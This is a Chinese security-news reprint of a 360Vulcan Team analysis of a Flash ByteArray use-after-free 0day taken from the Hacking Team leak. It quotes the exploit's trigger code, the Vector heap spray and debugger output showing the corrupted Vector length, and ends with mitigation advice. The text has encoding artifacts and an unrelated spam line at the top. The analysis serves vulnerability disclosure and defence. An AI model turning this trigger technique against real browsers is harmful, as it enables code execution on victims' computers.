自拍偷在线精品自拍偷,亚洲欧美中文日韩v在线观看不卡

Hacking Team攻擊代碼分析Part 1:Flash 0day

安全 黑客攻防
最近專(zhuān)門(mén)提供通過(guò)攻擊手法進(jìn)行網(wǎng)絡(luò)監(jiān)聽(tīng)的黑客公司Hacking Team被黑,包含該公司的郵件、文檔和攻擊代碼的400G數(shù)據(jù)泄漏。360Vulcan Team第一時(shí)間獲取了相關(guān)信息,并對(duì)其中的攻擊代碼進(jìn)行了分析。

最近專(zhuān)門(mén)提供通過(guò)攻擊手法進(jìn)行網(wǎng)絡(luò)監(jiān)聽(tīng)的黑客公司Hacking Team被黑,包含該公司的郵件、文檔和攻擊代碼的400G數(shù)據(jù)泄漏。360Vulcan Team第一時(shí)間獲取了相關(guān)信息,并對(duì)其中的攻擊代碼進(jìn)行了分析。

我們發(fā)現(xiàn)其中至少包含了兩個(gè)針對(duì)Adobe Flash的遠(yuǎn)程代碼執(zhí)行漏洞和一個(gè)針對(duì)微軟Windows內(nèi)核字體權(quán)限提升漏洞的完整攻擊代碼(exploit)。其中一個(gè)Flash漏洞已經(jīng)在今年4月修補(bǔ),其他兩個(gè)漏洞都未修復(fù)。

其中Flash漏洞exploit被設(shè)計(jì)為可以針對(duì)IE、Chrome瀏覽器和Office軟件進(jìn)行攻擊。攻擊者通過(guò)嵌入精心構(gòu)造的惡意Flash文件到網(wǎng)頁(yè)或Office文檔中,使得訪問(wèn)特定網(wǎng)頁(yè)或打開(kāi)Office文檔的用戶(hù)感染惡意代碼。同時(shí),這些惡意代碼通過(guò)結(jié)合Windows內(nèi)核字體權(quán)限提升漏洞,可以繞過(guò)IE(保護(hù)模式或增強(qiáng)保護(hù)模式)、Chrome(Chrome Sandbox,< Chrome 43)和Office(保護(hù)模式)的沙盒保護(hù),完全控制用戶(hù)的電腦。

360Vulcan Team對(duì)這些漏洞進(jìn)行分析,并分為三個(gè)部分將這些0day的信息共享給安全社區(qū),希望軟件廠商和安全廠商共同行動(dòng),盡快修補(bǔ)和防御著這些“在野”的0day漏洞。

Flash 0day -ActionScript ByteArray Buffer Use After Free

看起來(lái)HackingTeam的遠(yuǎn)程exploit工具中廣泛使用了同一個(gè)flash漏洞(攻擊目標(biāo)可以是IE、Chrome、Office系列):

Hacking Team攻擊代碼分析Part 1:Flash 0day

初步分析這個(gè)Exploit之后,我們發(fā)現(xiàn)這個(gè)Exploit在最新版本的Adobe Flash(18.0.0.194)中仍然可以觸發(fā),因此這應(yīng)該是一個(gè)0day漏洞。

漏洞原理分析

這個(gè)漏洞成因在于,F(xiàn)lash對(duì)ByteArray內(nèi)部的buffer使用不當(dāng),而造成Use After Free漏洞。

我們來(lái)看一下HackingTeam泄露的exploit代碼,關(guān)鍵部分如下:

1. 定義ByteArray

for(var i:int; i < alen; i+=3){
                 a[i] = new Class2(i);
                
                 a[i+1] = new ByteArray();
                 a[i+1].length = 0xfa0;
                
                 a[i+2] = new Class2(i+2);
             }

首先定義一系列的ByteArray,這些ByteArray初始大小被設(shè)置成0xfa0,ActionScript內(nèi)部會(huì)為每個(gè)Buffer分配0×1000大小的內(nèi)存。

1. 給ByteArray元素賦值:

_ba = a[i];
                 // call valueOf() and cause UaF memory corruption
                 _ba[3] = new Clasz();

這一步是觸發(fā)漏洞的關(guān)鍵,由于ByteArray的元素類(lèi)型是Byte,當(dāng)把Clasz類(lèi)賦值給ByteArray[3]時(shí),AVM會(huì)試圖將其轉(zhuǎn)化為Byte,此時(shí)Clasz的valueOf函數(shù)將被調(diào)用:

prototype.valueOf = function()
     {
         ref = new Array(5);
         collect.push(ref);
        
         // realloc
         _ba.length = 0x1100;
        
         // use after free
         for (var i:int; i < ref.length; i++)
             ref[i] = new Vector.<uint>(0x3f0);
        
         return 0x40
     }

在valueOf函數(shù)中,最關(guān)鍵的一部是更改了ByteArray的長(zhǎng)度,將其設(shè)置成為0×1100,這個(gè)操作將會(huì)觸發(fā)ByteArray內(nèi)部buffer的重新分配,舊的buffer(大小為0×1000)將會(huì)被釋放。緊接著exploit代碼會(huì)分配若干個(gè)vector對(duì)象,每個(gè)vector同樣占用0×1000字節(jié)的內(nèi)存,試圖去重新使用已經(jīng)釋放的ByteArray buffer的內(nèi)存。

valueOf函數(shù)返回0×40,然后0×40會(huì)被寫(xiě)入buffer[3]這里,如果邏輯正確,那么此處應(yīng)該寫(xiě)入的是新分配的buffer;然而由于代碼漏洞,這里寫(xiě)入的已經(jīng)釋放的0×1000大小的舊buffer,于是事實(shí)上寫(xiě)入的是vector對(duì)象的頭部,整個(gè)過(guò)程如下:

1. ByteArray創(chuàng)建并設(shè)置長(zhǎng)度0xfe0:

old buffer  |                       |
0                                 0x1000
2.  設(shè)置_ba[3],調(diào)用valueOf,在valueOf中設(shè)置ByteArray.length = 0x1100,此時(shí)old buffer被釋放
old buffer (Freed)  |                       |
0                                 0x1000
3.  然后0x1000大小的vector占據(jù)old buffer內(nèi)存,前4個(gè)字節(jié)是vector的長(zhǎng)度字段:
Vector          | f0 03 00 00               |
0                                 0x1000
4.  valueOf返回0x40,0x40被寫(xiě)入buffer[3],由于UAF漏洞的存在,寫(xiě)入的是vector的size字段:
Vector          | f0 03 00 40               |
0                                 0x1000

于是我們可以得到一個(gè)超長(zhǎng)的vector對(duì)象:

Hacking Team攻擊代碼分析Part 1:Flash 0day

 

我們可以通過(guò)調(diào)試來(lái)觀察漏洞的觸發(fā)過(guò)程:

1. 調(diào)用valueOf之前

0:005> u
671cf2a5   call     671b0930 //這里最終調(diào)用valueOf
671cf2aa 83c404          add     esp,4
671cf2ad 8806            mov     byte ptr [esi],al
671cf2af 5e              pop     esi

此時(shí)esi指向old buffer:

0:005> dd esi-3
0dfd5000  00000000 00000000 00000000 00000000
0dfd5010  00000000 00000000 00000000 00000000

2. 調(diào)用valueOf之后,old buffer被釋放,然后被vector占據(jù):

此時(shí)esi已經(jīng)指向新分配的vector,就buffer已經(jīng)被釋放

0:005> dd esi-3
0dfd5000  000003f0 0d2b3000 00000000 00000000
0dfd5010  00000000 00000000 00000000 00000000
0dfd5020  00000000 00000000 00000000 00000000
0dfd5030  00000000 00000000 00000000 00000000
0dfd5040  00000000 00000000 00000000 00000000
0dfd5050  00000000 00000000 00000000 00000000
0dfd5060  00000000 00000000 00000000 00000000
0dfd5070  00000000 00000000 00000000 00000000

3. 寫(xiě)入buffer[3

接下來(lái)valueOf的返回值0x40被寫(xiě)入buffer[3](及vector.size字段):

0:005> p
eax=00000040 ebx=0d8b4921 ecx=00000206 edx=00000006 esi=0dfd5003 edi=0d362020
eip=671cf2ad esp=04f2ceec ebp=04f2d050 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200202
Flash32_18_0_0_194!IAEModule_IAEKernel_UnloadModule+0x1ba07d:
671cf2ad 8806            mov     byte ptr [esi],al          ds:0023:0dfd5003=00
0:005> p
Flash32_18_0_0_194!IAEModule_IAEKernel_UnloadModule+0x1ba07f:
671cf2af 5e              pop     esi
0:005> dd esi-3
0dfd5000  400003f0 0d2b3000 00000000 00000000
0dfd5010  00000000 00000000 00000000 00000000
0dfd5020  00000000 00000000 00000000 00000000
0dfd5030  00000000 00000000 00000000 00000000

可以看到vector的長(zhǎng)度以及被修改成0x400003f0。

漏洞防范

由于該漏洞利用非常穩(wěn)定,而Adobe暫時(shí)沒(méi)有發(fā)布該漏洞的補(bǔ)丁,更可怕的是從HackingTeam泄露的數(shù)據(jù)來(lái)看,該exploit還帶有沙盒突破提權(quán)功能,危害甚大。我們建議補(bǔ)丁發(fā)布之前,可以暫時(shí)先禁用flash插件;也可以開(kāi)啟Chrome或Chrome核心瀏覽器針對(duì)插件的Click-to-Run功能,來(lái)緩解Flash 0day的攻擊。

責(zé)任編輯:藍(lán)雨淚 來(lái)源: 奇虎360公司技術(shù)博客
相關(guān)推薦

2015-07-08 13:52:18

2015-07-14 10:53:19

Hacking Tea0Day漏洞

2015-07-14 11:00:16

2015-07-08 13:36:24

2015-07-15 12:50:27

微軟IE11

2015-07-14 10:33:19

2022-03-25 13:41:55

漏洞網(wǎng)絡(luò)攻擊Quantum(量子

2011-02-28 09:34:55

2009-07-15 16:29:03

2011-08-26 11:44:01

2016-05-03 09:27:21

2009-07-06 13:15:07

2023-01-12 12:00:33

2011-07-18 14:29:46

2013-12-02 14:50:25

2014-10-15 17:29:33

2015-09-23 13:38:42

2015-05-20 16:34:14

2015-07-08 11:06:59

2021-10-06 13:48:50

0day漏洞攻擊
點(diǎn)贊
收藏

51CTO技術(shù)棧公眾號(hào)